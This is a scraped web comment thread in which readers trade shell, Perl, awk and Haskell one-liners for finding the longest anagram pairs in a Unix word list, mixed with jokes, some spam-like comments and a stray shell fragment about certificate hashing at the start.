${CERTFILE##*/}" ln -s ${CERTFILE##*/} ${CERTDIR}/${HASH}.${SUFFIX} done Hans fired up the Arduino Serial monitor and the script returned the forecast, it was going to be a great day! Hans was now happy that he had secure end to end communications. Reference: Next: Enchanted Objects Design Challenge - The snake, the troll and the fighting dwarves
https://www.element14.com/community/community/design-challenges/enchanted-objects/blog/2015/04/17/a
CC-MAIN-2018-13
refinedweb
734
65.22
A tool for estimating growth rates in growth curves. Project description Description A tool for estimating growth rates in growth curves. The tool fits λ ⋅ e μ⋅x + N 0 to any candidate growth phases of the growth curve that have increasing growth, i.e. where both the first and second derivative of the growth function are positive. To identify these phases reliably, the tool utilizes a custom smoothing function that addresses problems other smoothing methods have with growth curves that have regions with varying levels of noise (e.g. lots of noise in the beginning, then less noise after growth starts, then more noise in the stationary phase). The parameter N 0 of the model can optionally be constrained. This is recommended if the value is known. The growth rate in calculated growth phases can only be properly compared if their N 0 (baseline OD; when the organism is at its initial population) points to a similar stage of actual growth. Installation To install croissance, use Python 3.x pip: pip3 install croissance Usage Croissance can be used from command-line or as a Python library. The input to the command-line tool is generally one or more *.tsv files (tab-separated values) with the following format: Each sample should be recorded in its own column with the sample name in the header row. The time unit is hours and the value unit should be OD or some value correlating with OD. To process this file, enter: croissance example.tsv The output will be generated at example.output.tsv. The output is formatted with column headers: name (sample name), phase (nth growth phase), start (start time), end (end time), slope (μ), intercept (λ), n0 (N 0) and a few others. By default, each sample is represented by at least one row, containing phase “0”. This is simply the highest ranking phase if one was found for this curve; otherwise the remaining columns are empty. To also output a PDF files with figures (example.output.pdf), enter: croissance --figures example.tsv To see a description of all the command-line options available, enter croissance --help. For use from Python, provide your growth curve as a pandas.Series object. The growth rates are estimated using croissance.process_curve(curve). The return value is a namedtuple object with attributes series, outliers and growth_phases . Each growth phase has the attributes start (start time), end (end time), slope (μ), intercept (λ), n0 (N 0), as well as other attributes such as SNR (signal-to-noise ratio of the fit) and rank. from croissance import process_curve result = process_curve(my_curve) print(result.growth_phases) Project details Release history Release notifications Download files Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
https://pypi.org/project/croissance/
CC-MAIN-2019-35
refinedweb
463
64.51
. } @override Widget build(BuildContext context) { return new MaterialApp( home: new Scaffold( appBar: new AppBar( title: const Text('Plugin example app'), ), body: new Center( child: new Text('Running on: $_platformVersion\n'), ), ), ); } } Add this to your package's pubspec.yaml file: dependencies: flutter_bridgefy: ^0.0.2 You can install packages from the command line: with Flutter: $ flutter pub get Alternatively, your editor might support flutter pub get. Check the docs for your editor to learn more. Now in your Dart code, you can use: import 'package:flutter_bridgefy/flutter_bridgefy.dart'; We analyzed this package on Jun 12,. Fix lib/flutter_bridgefy.dart. (-0.50 points) Analysis of lib/flutter_bridgefy.dart reported 1 hint: line 1 col 8: Unused import: 'dart:async'..
https://pub.dev/packages/flutter_bridgefy
CC-MAIN-2019-26
refinedweb
117
50.33
And why are we sipping sophisticated cocktails with an air of restrained joy, you might ask? The answer is that we don’t need a reason. But if we had one (and I’m still not saying we do), it would involve a couple of great releases we’ve made over the past few weeks. Thanks to everyone how contributed! NetworkManager 0.9.6 Lots of great stuff in this update to the NetworkManager stable series. Tons of fixes to the glib bindings, enhanced IPv6 functionality, more capable nmcli tool, support for ADSL modems, on-demand WiFi scan support, new Vala bindings, documentation updates, and a lot more. This release is recommended for anyone using older 0.9.x versions. Where do we go from here? Bridging support is scheduled to land in the next release, as are some cleanups of the D-Bus and glib APIs that make it easier for app developers. We’ll probably also have real hotspot support (AP-mode, yay!), bring back WPA Ad-Hoc mode for kernel drivers that actually support it, toss in an enhanced connection editor with support for bridging, bonding, VLAN, WiMAX, ADSL, etc, and yet more fixes all around. We’re hoping to release this next version a bit later this fall. ModemManager 0.5.4 and 0.6 Finally a 0.6 release, which adds support for Cinterion devices and Iridium satphone modems. Plus an enhanced API for things like PIN/PUK retry counts, facility locks, network time and date indications, and better support for devices that want PPP on specific ports. It also includes all the enhancements that are also present in 0.5.4 such as more compatible SMS handling, support for more ZTE, Ericsson, and Sierra devices, and random bug fixes. They’re also the most tested ModemManager releases ever! Next up for ModemManager is beating git master into shape, which will debut as 0.8 sometime later this year. It properly supports multi-mode devices that can talk CDMA/EVDO and GSM/UMTS and LTE all at the same time, including all the new Qualcomm devices that use the QMI protocol. It also drastically reworks the D-Bus API to ensure things stay working with future hardware capabilities. Yes, a huge D-Bus API break, but it’s properly namespaced so that supporting both the old and new APIs can be done in the same binary without compile-time switches. So cheers! And play the *Manager drinking game: whenever it works, take a drink! You’ll be wasted in no time…
https://blogs.gnome.org/dcbw/2012/09/04/i-never-go-jogging-it-makes-me-spill-my-martini/
CC-MAIN-2018-51
refinedweb
426
64.51
Observation: same code + electronics work fine on a teensy 4.0. Observation: same code + electronics work fine on a teensy 4.0. Hi, I'm trying something very simple: reading samples from an MCP3202. I can't get it to work. #include <SPI.h> #include <Mcp320x.h> #define SPI_CS 10 // SPI slave select... Hang on; I saw this earlier with an arduino uno I only realised! (talking serial through usb to a host system) I thought it had to do with an uart filling up but an usb-buffer makes more sense. Ah that I did not know. That indeed helps a bit. The problem did not disappear yet. I ordered another LC that I'll use solely with software-tests, e.g. not with new hardware. So that I know that... Hi, I designed some hardware: 2 analogue inputs (-5...5V), 4 digital input (one for which I forgot to add a voltage divider). It also has a din midi plug. ... Maybe this will work: jscircuit says this works:... Hi, I'm trying to migrate a schematic I made around an arduino (nano) to teensy lc. This schematic converts a "control voltage" (-5...+5v) to ADC levels (0...5V) and the output of an MCP4725 to... But not the pin-out I think? Hi, I'm looking for a Teensy 4.0 fingerprint for eagle cad. I do not require the "difficult" pins at the bottom. Or is there a way for converting kicad automatically to eagle cad? thank you! Good point. I'd like to add that i2c with RPI 3 and earlier probably won't work due to the clock-stretching, but from what I've heard (but not verified yet) the rpi4 should be fine. I can't remember. I had them "in stock" for a couple of years. Hmmm it must be broken then. Sad! (it works fine on a teensy 2.0) Hi, I've uploaded some trivial code to my teensy 3.1 It compiles and flashes fine but after +/- 0.5 seconds it crashes. Any ideas? void setup() { Serial.begin(115200); Never mind, I should've done more googling first. Hi, The raspberry pi (at least version 3 and older) has this problem with clockstretching in i2c. Communication then doesn't work with the avr arduino (maybe other arduinos as well, have not tried...
https://forum.pjrc.com/search.php?s=ff490ae47b38a931f50cdec261a03dd0&searchid=7077695
CC-MAIN-2021-49
refinedweb
392
78.96
Post your Comment All iPhone Tips and Tricks All iPhone Tips and Tricks If you are looking for some cool iPhone 3G tips n tricks... thinking it to be in a dark environment. Custom iPhone Buttons Tips n Tricks Tips 'n' Tricks Tips 'n' Tricks Download files data from many URLs This Java program lets you download files from one or more URLs and save them in the directory Tips and Tricks Tips and Tricks Send data from database in PDF file as servlet response This example retrieves data from MySQL and sends response to the web browser determinant of n*n matrix using java code determinant of n*n matrix using java code Here is my code... { double A[][]; double m[][]; int N; public input() { Scanner s=new Scanner(System.in); System.out.println("enter dimension of matrix"); N Tips and Tricks Tips and Tricks Opening, writing, saving notepad automatically with Robot class in Java Java provides a lot of fun while programming. This article shows you how n raised to power p n raised to power p wap to input 2 integers n and p.find and print n raised to the power p without using Math.pow() function Error n Exception Error n Exception Difference between errors and exceptions RMI n JSP - RMI RMI n JSP Hi Friends, First of all let me appreciate ur promptness in delivering answers. Is it possible to make communication between RMI and JSP page ? Thanks Top 10 Search Tricks for Smarter Googling Top 10 Search Tricks for Smarter Googling It is true that our web experience... of search tricks for smarter Googling or smart use of Google search engine that are already well known by the regular web users, but some search tricks are still JAVA N HTML - JavaMail JAVA N HTML How to use HTML's mailto tag in a java application.. please give me reply as soon as possible.. i've to submit my project on coming monday... Please Help Me.. Thanks Vamsi Krishna Hi Friend Label n Dropdown Issue Label n Dropdown Issue Hi guys, Some how Iam able to receive the data for labels, dropdowns. I created one array with the size of label, and statred for loop, inside this I created one more array of type above created Printing numbers up to N into a file Printing numbers up to N into a file I'd like to print the first N integers, that is, "1, 2, 3, 4, ..., N-1, N", say N equals 1000, or 10000 or whatever. I'd also like to have the result stored as a file instead of having Throw,Throws, n try and Catch Throw,Throws, n try and Catch What is the difference between Throw and Throws Throw,Throws, n try and Catch Throw,Throws, n try and Catch what is the difference between Throw,Throws and Try&Catch diff betn show n visible diff betn show n visible what is difference between show() & visible method in java updated with current date n time updated with current date n time package LvFrm; import java.awt.Color; import java.awt.Font; import java.awt.event.ActionEvent; import...); frm.add(txf4); //sr no label n textfield lbl13=new JLabel How to round a number to n decimal places in Java How to round a number to n decimal places in Java How to round a number to n decimal places in Java
http://www.roseindia.net/discussion/27126-Tips-n-Tricks.html
CC-MAIN-2014-42
refinedweb
572
62.21
From time to time I find myself searching online for the ranges of the data types in whichever programming language I happen to be using. It is important to choose the adequate data type for our variables depending on what we’re going to store. If we’re just thinking on storing a number between 1 and 10, it would be a waste of memory to declare the variable as int. The table below shows the primitive data types available in Java, for your reference. Examples public class Example { public static void main(String[] args) { //declare variables byte month = 12; int counter = 0; double pi = 3.1415926535897932384626433832795; float rate = 4.25e2F; char letter = 'Z'; boolean found = true; //print values System.out.println(month); //will print 12 System.out.println(counter); //will print 0 System.out.println(pi); //will print 3.141592653589793 System.out.println(rate); //will print 425.0 System.out.println(letter); //will print Z System.out.println(found); //will print true } }
http://blog.oscarscode.com/java/primitive-data-types-in-java/
CC-MAIN-2019-09
refinedweb
163
60.72
I am implementing a Graph ADT to use for a different program, and I was given these "insert" and "remove" functions that I needed to define. They are supposed to create an Edge (from the Edge struct) with two vertices and insert/remove it into a larger Graph. It runs fine when I create an instance of it in main, but when I try to call the insert or remove function it gives an error that says: "First-chance exception at 0x00A56C84 in COMP222 -- Program3.exe: 0xC0000005: Access violation writing location 0xCDCDCDCD". Any ideas as to what I could be doing wrong here to cause this error? Again, the main problem is with insert/remove, but I posted the rest of it just in case. EDGE STRUCT struct Edge { //edge with vertices v1 and v2 int *vertex1; int *vertex2; }; GRAPH.H #include "Graph.h" #include <iostream> Graph::Graph() { graphSize = 0; }; Graph::Graph(const string& file) { text.open(file); while(!text.eof()) { char ch; text.get(ch); vertices.push_back(ch); } for(int i = 0;i < sizeof(vertices);i++) { static_cast<int>(vertices.at(i)); } } void Graph::insert(int v1,int v2) { Edge* newEdge = new Edge; *newEdge->vertex1 = v1; *newEdge->vertex2 = v2; v1 = vertices.at(0); v2 = vertices.at(2); graphSize += 2; }; void Graph::remove(int v1,int v2) { Edge* delEdge = new Edge; //edge to be deleted *delEdge->vertex1 = v1; *delEdge->vertex2 = v2; delete delEdge->vertex1; delete delEdge->vertex2; graphSize -= 2; }; ostream& operator <<(ostream& verts,const Graph& graph) { return verts; }; MAIN FUNCTION -- problem seems to be with the test.insert and test.remove functions #include "Graph.h" #include <iostream> #include <string> #include <fstream> using namespace std; int main() { Graph test("Path to file...no problem here..."); //THIS WORKS FINE test.insert(2,3); //INSERT/REMOVE CAUSE THE ERROR test.remove(2,3); system("PAUSE"); return 0; } The problem should with these two lines in the insert function: *newEdge->vertex1 = v1; *newEdge->vertex2 = v2; vertex1 and vertex2 are uninitialized pointers, they are not pointing to valid locations in the memory and you are trying to write to those locations. I suspect you want vertex1 and vertex2 to simply be ints that hold vertex IDs. A similarly write is attempted by your remove function. You should fix that too. User contributions licensed under CC BY-SA 3.0
https://windows-hexerror.linestarve.com/q/so22650541-Getting-Access-Violation-error-when-creating-an-Edge-via-function
CC-MAIN-2020-16
refinedweb
383
66.74
During development of my app (see my signature), I researched a bit and finally found a quite nice way to implement a custom keyboard which is only shown in your app easily. Much of this is taken from Maarten Pennings' awesome guide here, thanks to him and feel free to read it as well. So I thought I'd extend his work with this guide which also takes a look at why you'd want to use one or the other keyboard. Enjoy! Limits of the Android IME Any kind of text input (password, number, address, etc.) is usually handled very nicely using the android:inputType attribute (or the corresponding setter in java) on the EditText field. But as soon as you have to deny some characters, for instance you want the user to insert a file name, it gets more complicated since there is no inputType for that. The way to achieve that would be to implement your own KeyListener like this: import android.text.method.NumberKeyListener; //... // set a new KeyListener onto your desired EditText, overriding the default one: EditText edit = findViewById(R.id.edittext); edit.setKeyListener(new NumberKeyListener(){ @Override public int getInputType() { // should be the same as android:inputType, for all numbers including decimal and negative: return (InputType.TYPE_CLASS_NUMBER | InputType.TYPE_NUMBER_FLAG_DECIMAL | InputType.TYPE_NUMBER_FLAG_SIGNED); } @Override protected char[] getAcceptedChars() { // declare your desired chars here, ONLY those will be accepted! // for instance numbers: char [] res = {'1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '+', '-', '*', '/', '(', ')', '.', ',', ' ', '^', '!', // alphabet: 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; return res; } }); And also, there might be a much easier and better accessible layout for your set of keys. In the following I will tell you how to integrate such a custom layout using the KeyboardView class, but first let's take a look at the advantages of both keyboards: Android IME or KeyboardView??? The answer to this question is tightly depending on the task you want the user to fulfil, and also on how much freedom you want to give him. The high customizablility and its theming options are a strong point for the KeyboardView, but be warned that since this View was added in API level 3 (and never updated I think) there are a couple of bugs which you have to workaround. A standard keyboard is more familiar to the user and is often also a third-party keyboard and therefore more customizable. But this also has its downsides since there is no guarantee that the IME will display the characters you need. Note that you will not be able to get a working cursor image easily with the KeyboardView (though the cursor works as it should, just the blue arrow below it won't be displayed). For simple tasks where just a few buttons will be useless, such as when asking for a filename the normal IME is recommended. But for various operations you'll find the KeyboardView to be much cleaner. If you decided to try the KeyboardView, here's how it works: Adding a CustomKeyboard NOTE: I will only cover how to implement such a Keyboard, if you want to know how it works in detail check out the third chapter in Maarten Pennings' guide. First, since it is a view, you will need to manually insert the following to the xml layout file of all activities where you want to use it: <android.inputmethodservice.KeyboardView android: Second, you need an xml file where all the keys and their layout are stored for the KeyboardView to inflate. For a start, you can take the one Maarten Pennings has posted or download mine here: keyboard_layout.txt (xda doesn't support .xml files, so just rename it to keyboard_layout.xml!) Move that file to your res/xml/ folder, you can create other layouts for landscape using res/xml-land/ You have to play around with that file a bit to get your desired layout, here are some tips: - Start by designing it on paper, then write it as a comment (ASCII-Art?) so you have it properly lined up and always at your hand while coding - Including gaps of half a key or so to separate different areas works nicely - Highlight important keys either with a different android:keyBackground or by making them larger than the others. - Leave the android:horizontalGap attribute untouched on Keyboard level, this will probably break the key lineup - Calculate the key width like so: width = 100/(keysPerRow + numberOfGaps) - Set the android:keyHeight on Keyboard level to something that rows*keyHeight is about 40%-50%. - For every key label which is longer a single character, use the corresponding ASCII-integer as key code (android:codes), otherwise pick a negative number or one that's higher than 256 - Use android:isRepeatable="true" for keys to press and hold for multiple clicks like the delete key - If you want to display a popup keyboard on hold, you should rather make a popup window yourself or use a dialog rather than using the android opupKeyboard attribute. - For inserting more than one char on click, use the android:keyOutputText on key level or override the specific keycode in the onKey() method in CustomKeyboard.java Third, there are a couple of icons required for some keys like the delete key. You can either use the ones provided in the guide, but I suggest downloading the original holo android icons from the different drawable folders here. Take the sym_keyboard_... files that you think you'll need and place them in the respective res/drawable-ydpi folder. Set the android:keyIcon attribute to @drawable/sym_keyboard_... for those special keys. Fourth, we need a java class to process the clicks and provide the methods for showing and hiding the keyboard. Luckily, you take mine here: CustomKeyboard.txt (again, rename it to CustomKeyboard.java) Copy that file into your src/com/package/name and change the package to your app. This class is heavily based of the one Maarten Pennings has come up with, but with an actually working cursor, so that you can tap or drag to move the cursor. I included haptic feedback (set it using enableHapticFeedback(true)) and an easy way to add chooser dialogs if you want to have multiple insertions in one key (see the onClick(...) method); This looks like this: If you are using any special keys or dialogs as popups, you will need to edit the onKey() or the onClick() method like I did. Fifth, in your onCreate() method after setContentView(...) you just need to register every EditText that you want to use the keyboard on like so: // initialize the instance variable customKeyboard customKeyboard = new CustomKeyboard(this, R.id.keyboardview, R.xml.keyboard_layout); // register the edittext customKeyboard.registerEditText(R.id.edittext); @Override public void onBackPressed() { if(customKeyboard!=null && customKeyboard.isCustomKeyboardVisible() ) customKeyboard.hideCustomKeyboard(); else super.onBackPressed(); } Read on if you want to theme it further (let's face it, the default theme is still from the first versions of android).
http://forum.xda-developers.com/showthread.php?t=2497237
CC-MAIN-2016-18
refinedweb
1,176
57.4
v ___________________________________________________________________________ Preface No programming technique solves all problems. No programming language produces only correct results. No programmer should start each project from scratch. pro- jects — although the idea of subroutines is as old as computers and good program- mers always carried their toolkits and libraries with them. This book is not going to praise object-oriented programming or condemn the Old Way.We are simply going to use ANSI -C to discover how object-oriented pro- gramming is done,what its techniques are,why they help us solve bigger prob- lems. princi- ples.Pro- grammers problemsolving with better techniques.ooc vi ___________________________________________________________________________ Preface idiosyn- crasies of foreign libraries and class hierarchies. Each chapter has a summary where I try to give the more cursory reader a run- downlike vii ___________________________________________________________________________ Contents Preface........................... 5 1 Abstract Data Types —Information Hiding ...........1 1.1 Data Types...................... 1 1.2 Abstract Data Types.................. 1 1.3 An Example —Set................... 2 1.4 Memory Management.................3 1.5 Object....................... 3 1.6 An Application.................... 4 1.7 An Implementation — Set................4 1.8 Another Implementation — Bag..............7 1.9 Summary...................... 9 1.10 Exercises...................... 9 2 Dynamic Linkage —Generic Functions .............11 2.1 Constructors and Destructors..............11 2.2 Methods,Messages,Classes and Objects.........12 2.3 Selectors,Dynamic Linkage,and Polymorphisms.......13 2.4 An Application....................16 2.5 An Implementation —String...............17 2.6 Another Implementation —Atom.............18 2.7 Summary......................20 2.8 Exercises......................20 3 Programming Savvy —Arithmetic Expressions.........21 3.1 The Main Loop....................21 3.2 The Scanner.....................22 3.3 The Recognizer....................23 3.4 The Processor....................23 3.5 Information Hiding...................24 3.6 Dynamic Linkage...................25 3.7 A Postfix Writer....................26 3.8 Arithmetic......................28 3.9 Infix Output.....................28 3.10 Summary......................29 4 Inheritance —Code Reuse and Refinement...........31 4.1 A Superclass —Point..................31 4.2 Superclass Implementation —Point............32 4.3 Inheritance —Circle..................33 4.4 Linkage and Inheritance.................35 4.5 Static and Dynamic Linkage...............36 4.6 Visibility and Access Functions..............37 4.7 Subclass Implementation —Circle.............39 viii ___________________________________________________________________________ Contents 4.8 Summary...................... 40 4.9 Is It or Has It?—Inheritance vs.Aggregates........42 4.10 Multiple Inheritance..................42 4.11 Exercises...................... 43 5 Programming Savvy —Symbol Table.............45 5.1 Scanning Identifiers.................. 45 5.2 Using Variables .................... 45 5.3 The Screener —Name.................47 5.4 Superclass Implementation —Name............48 5.5 Subclass Implementation —Var..............50 5.6 Assignment..................... 51 5.7 Another Subclass —Constants..............52 5.8 Mathematical Functions —Math.............52 5.9 Summary...................... 55 5.10 Exercises...................... 55 6 Class Hierarchy —Maintainability...............57 6.1 Requirements..................... 57 6.2 Metaclasses..................... 58 6.3 Roots —Object and Class................59 6.4 Subclassing —Any..................60 6.5 Implementation —Object................62 6.6 Implementation —Class................63 6.7 Initialization.....................65 6.8 Selectors......................65 6.9 Superclass Selectors..................66 6.10 A New Metaclass —PointClass..............68 6.11 Summary......................70 7 The ooc Preprocessor —Enforcing a Coding Standard......73 7.1 Point Revisited....................73 7.2 Design.......................78 7.3 Preprocessing....................79 7.4 Implementation Strategy................80 7.5 Object Revisited....................82 7.6 Discussion......................84 7.7 An Example —List,Queue,and Stack...........85 7.8 Exercises......................89 8 Dynamic Type Checking —Defensive Programming.......91 8.1 Technique......................91 8.2 An Example —list...................92 8.3 Implementation....................94 8.4 Coding Standard....................94 8.5 Avoiding Recursion..................98 8.6 Summary......................100 8.7 Exercises......................101 ix ___________________________________________________________________________ Contents 9 Static Construction —Self-Organization............103 9.1 Initialization..................... 103 9.2 Initializer Lists —munch................104 9.3 Functions for Objects..................106 9.4 Implementation.................... 107 9.5 Summary...................... 109 9.6 Exercises...................... 110 10 Delegates —Callback Functions...............111 10.1 Callbacks...................... 111 10.2 Abstract Base Classes................. 111 10.3 Delegates...................... 113 10.4 An Application Framework —Filter............114 10.5 The respondsTo Method................117 10.6 Implementation .................... 119 10.7 Another application —sort................122 10.8 Summary...................... 123 10.9 Exercises...................... 124 11 Class Methods —Plugging Memory Leaks...........125 11.1 An Example.....................125 11.2 Class Methods....................127 11.3 Implementing Class Methods..............128 11.4 Programming Savvy —A Classy Calculator.........131 11.5 Summary......................140 11.6 Exercises......................141 12 Persistent Objects —Storing and Loading Data Structures....143 12.1 An Example.....................143 12.2 Storing Objects —puto()................148 12.3 Filling Objects —geto().................150 12.4 Loading Objects —retrieve()...............151 12.5 Attaching Objects —value Revisited............153 12.6 Summary......................156 12.7 Exercises......................157 13 Exceptions —Disciplined Error Recovery............159 13.1 Strategy.......................159 13.2 Implementation —Exception...............161 13.3 Examples......................163 13.4 Summary......................165 13.5 Exercises......................166 14 Forwarding Messages —A GUI Calculator...........167 14.1 The Idea.......................167 14.2 Implementation....................168 14.3 Object-Oriented Design by Example............171 14.4 Implementation —Ic..................174 x ___________________________________________________________________________ Contents 14.5 A Character-Based Interface —curses...........179 14.6 A Graphical Interface —Xt................182 14.7 Summary...................... 188 14.8 Exercises...................... 189 A ANSI -C Programming Hints.................191 A.1 Names and Scope................... 191 A.2 Functions...................... 191 A.3 Generic Pointers —void *................192 A.4 const........................ 193 A.5 typedef and const................... 194 A.6 Structures...................... 194 A.7 Pointers to Functions .................. 195 A.8 Preprocessor..................... 196 A.9 Verification —assert.h.................196 A.10 Global Jumps —setjmp.h................196 A.11 Variable Argument Lists —stdarg.h............197 A.12 Data Types —stddef.h.................198 A.13 Memory Management —stdlib.h.............198 A.14 Memory Functions —string.h..............198 B The ooc Preprocessor —Hints on awk Programming.......199 B.1 Architecture.....................199 B.2 File Management —io.awk...............200 B.3 Recognition —parse.awk................200 B.4 The Database.....................201 B.5 Report Generation —report.awk.............202 B.6 Line Numbering....................203 B.7 The Main Program—main.awk..............204 B.8 Report Files.....................204 B.9 The ooc Command...................205 C Manual..........................207 C.1 Commands......................207 C.2 Functions......................214 C.3 Root Classes.....................214 C.4 GUI Calculator Classes................ easi- est or most efficient to implement.If we manage to distribute the necessary infor- mation correctly,use of the data type and our choice of implementation are totally independent. Abstract data types satisfy the good programming principles of information hid- ing and divide and conquer.Information such as the representation of data items is given only to the one with a need to know:to the implementer and not to the user. With an abstract data type we cleanly separate the programming tasks of imple- mentation. 3 ___________________________________________________________________________ 1.4 Memory Management informa- tion ele- ments com- plete code of all examples. new() accepts a descriptor like Set and possibly more arguments for initializa- tion or- dering. <stdio.h> #include"new.h" #include"Object.h" #include"Set.h" int main () { void * s = new(Set); void * a = add(s,new(Object)); void * b = add(s,new(Object)); void * c = con- tains the integer value representing the set.Objects,therefore,point to the set containing them. 5 ___________________________________________________________________________ 1.7 An Implementation — ‘‘Set’’ pur- pose of developing a coding technique,however,we prefer to keep the code uncluttered.In chapter 13 we will look at a general technique for handling excep- tions. ele- ment. 7 ___________________________________________________________________________ 1.8 Another Implementation — ‘‘Bag’’tothe set: void * drop (void * _set,const void * _element) { struct Set * set = _set; struct Object * element = find(set,_element); if (element) { if ( element > count == 0) element > in = 0; set > count; } return element; } We can now provide a new function count() which returns the number of ele- ments. 9 ___________________________________________________________________________ 1.9 Summarythe rea- sonablythe draw- back is that new() would explicitly contain code for each data type which we sup- port. ele- ments. infor- mation;/* dynamic string */ const void * destroy;/* locate destructor */ }; struct Set { ...information... const void * destroy;/*);/* make a set */ new(String,"text");/* make a string */ For initialization we use another type-specific function which we will call a construc- tor des- tructor; }; 13 ___________________________________________________________________________ 2.3 Selectors, Dynamic Linkage, and Polymorphisms • p object • ........... class parame- ter list.The list is accessed with a va_list variable ap which is initialized using the macro va_start() from stdarg.h.new() can only pass the entire list to the construc- tor;therefore,.ctor is declared with a va_list parameter and not with its own vari- ableself: 15 ___________________________________________________________________________ 2.3 Selectors, Dynamic Linkage, and Polymorphisms func- tion float- ingthere correspond- ing pro- gramwill print something like sizeOf(a) == 8 ok 17 ___________________________________________________________________________ 2.5 An Implementation — ‘‘String’’ argu- ment con- tainsis cloned: struct String { const void * class;/* must be first */ char * text; struct String * next; unsigned count; }; static struct String * ring;/* of all strings */ static void * String_clone (const void * _self) { struct String * self = (void *) _self; ++ self > count; return self; } Our circular list of all atoms is marked in ring,extends through the.next com- ponent,and is maintained by the string constructor and destructor.Before the con- structor saves a text it first looks through the list to see if the same text is already stored.The following code is inserted at the beginning of String_ctor(): 19 ___________________________________________________________________________ 2.6 Another Implementation — ‘‘Atom’’unless its reference count is decre- mentedthe dif- ferentbe opera- tors for addition,subtraction,and so on.Normally we would use the compiler gen- erator tools lex and yacc to build that part of the programwhich recognizes an arith- metic <setjmp.h> <ctype.h> #include <errno.h> #include <stdlib.h> . 23 ___________________________________________________________________________ 3.3 The Recognizer per- form state- mentsenclosed in parentheses: static void * sum (void); static void * factor (void) { void * result; switch (token) { case +: scan(0); return factor(); 25 ___________________________________________________________________________ 3.6 Dynamic Linkage arith- metic vari- ous opera- tors); } 27 ___________________________________________________________________________ 3.7 A Postfix Writer exec() handles the dynamic linkage: static void exec (const void * tree) { assert(tree && * (struct Type **) tree && (* (struct Type **) tree) > exec); (* (struct Type **) tree) > exec(tree); } and every binary operator is emitted with the following function: static void doBin (const void * tree) { exec(((struct Bin *) tree) > left); exec(((struct Bin *) tree) > right); printf("%s",(* ;/* nodes 29 ___________________________________________________________________________ 3.10 Summary $O speak imple- ment rou- tine: 33 ___________________________________________________________________________ 4.3 Inheritance — ‘‘Circle’’ com- ponent: com- ponents.However,in one case,move() works on a struct Point,and in the other case,it works on a struct Circle.If move() were dynamically linked,we could pro- vide two different functions to do the same thing,but there is a much better way. Consider the layout of the representations of points and circles: point class x y struct Point circle class x y rada struct Circle * to a struct Point *.We will refer to this as an up-cast from a subclass to a superclass — in ANSI -C it can only be accomplished with an explicit conversion operator or through intermediate void * values. 35 ___________________________________________________________________________ 4.4 Linkage and Inheritance expli- citly: point • x y struct Point Point size ctor dtor draw struct Class circle • x y rad struct Circle . . . . . ............ . . . . . . Circle size ctor dtor com- ponentrit- ten implemen- tation avail- able concep- ti- zations. ____________________________________________________________________________________________ * In ANSI -C macros are not expanded recursively so that a macro may hide a function by the
https://www.techylib.com/el/view/parentpita/object-oriented_programming_with_ansi-c_pdf
CC-MAIN-2018-22
refinedweb
1,868
53.88
. #2 (NeoPost), #28 (Phone surveys) and #58 (MySpace) are three of my favorites. I don’t know what it is, but the real answer couldn’t possibly be as interesting as this discussion. @Katie: I believe you intended cowsay -n "STACK OVERFLOW" | cowsay -n | cowsay -n | cowsay -n Oops. cowsay "STACK OVERFLOW" | cowsay -n | cowsay -n | cowsay -n Many months later, this discussion came up in another discussion, and so I came back to look at it again, and saw Randall’s response to me. So, belatedly, I clarify: that “47″ was actually a “backslash 0 4 7″, which is the pcre octal for the single quote; the “backslash 0″ part apparently got eaten. If you put that back in, it works (I believe) as Randall intended. This should do it in Haskell (composed at the interactive prompt, much easier to play with than Bash), unless I got the problem description wrong: import Data.Ord import Data.List main = interact (unlines . map show . anagrams . lines) anagrams = reverse . sortBy (comparing (length.head)) . filter (not.null.tail) . groupBy (\a b -> sort a == sort b) Save as anagrams.hs and cat /usr/share/dict/words | runhaskell anagrams.hs oh a couple of weeks late.. oh well: perl -l15 -ne ‘push @{$x{lc join””,sort split//}},$_;END{map{print join(” “,length,@{$x{$_}}).”\n”}sort{length($a)<=>length($b)}grep{@{$x{$_}}>1}keys%x;}’</usr/share/dict/words|tail perl -e’print map{@{$x{$_}}>1&&join(” “,length,@{$x{$_}}).”\n”}sort{length($a)<=>length($b)}map{chomp;push@{$x{$k=lc join””,sort split//}},$_;@{$x{$k}}<2&&$k}<>;’</usr/share/dict/words|tail Here’s my variant: getting rid of almost all the Perl and doing the rest with Unixy programs… only thing left that Perl is required for is sorting letters within a string, which I couldn’t figure out how to do simply </usr/share/dict/words grep -v \' | perl -ne 'chomp;print length."\t$_\t".(join "", sort split "")."\n"' | sort -k 3 | uniq -Df 2 | sort -srnk 1 | head -n 20 | cut -f 2 Not going into the code, but depending on what you are trying to accomplish other word lists may be helpful. For instance, this page has links to the allowable Scrabble word lists (depending on location and intent—for instance, use the TWL2 is the current US Tournament Word List; OSPD is the Official Scrabble Players Dictionary, which is essentially the TWL2 with possibly offensive words removed for family players): I used similar command lines to debunk an email forwarded from a friend a while ago. Just put it up on my (fresh, still default-themed) blog here: Wow. This turned in to a proper ‘geek-off’ really quickly… …I like it here interesting rhetoric on the marios…seems everyone has failed to notice that part. @James: int no_to_return = (argc == 2 ? 1 : atoi(argv[2])); A ternary definitely is not faster. Here’s the Ruby way of finding anagrams: Anagram finder in Ruby @ Matt Hickford fsck is just filesystem check mtab is metatab, I’d pronounce usr as user, even though it actually means ‘unix system resources’. Thanks for sharing.Your post saves the day. clearly a problem for the Fundamental Theorem of Arithmetic. Pingback: War On Pants — Archiving Pidgin Logs by Year This is an excellent question Its like you examine my thoughts! You appear to understand so a lot about this, like you wrote the book in it or anything. Thank you very much.I like this site. I read a lot of your articles and this is my first time commenting. I just wanted to thank you for your writing. This article is about the video game character. For the platform game series featuring the character, see Super Mario (series). For the franchise featuring the character, see Mario (franchise). For other uses, see Mario (disambiguation). Was excellent. Thank you very much., You are a good writer. In addition to art that will give you good I congratulate you Thank you very much., You are a good writer. In addition to art that will give you good I congratulate you He leído un montón de sus artículos y esta es mi primera vez comentando. Sólo quería darle las gracias por su escritura… this is corect formula perl -pe ‘s/^([^ ]+) .*/\1/g’ | awk ‘{ print length, $0 }’ | sort -n | awk ‘{$1=””; print $0}’ | uniq -c | sort -nr | egrep “^[^0-9]+2 ” | awk ‘{ print length, $0 }’ | sort -n | awk ‘{$1=””; print $0}’ | perl -pe ‘s/[ 0-9]//g’ | xargs -i grep {} lookup.txt | perl -pe ‘s/[^ ]+ //g’ | tail 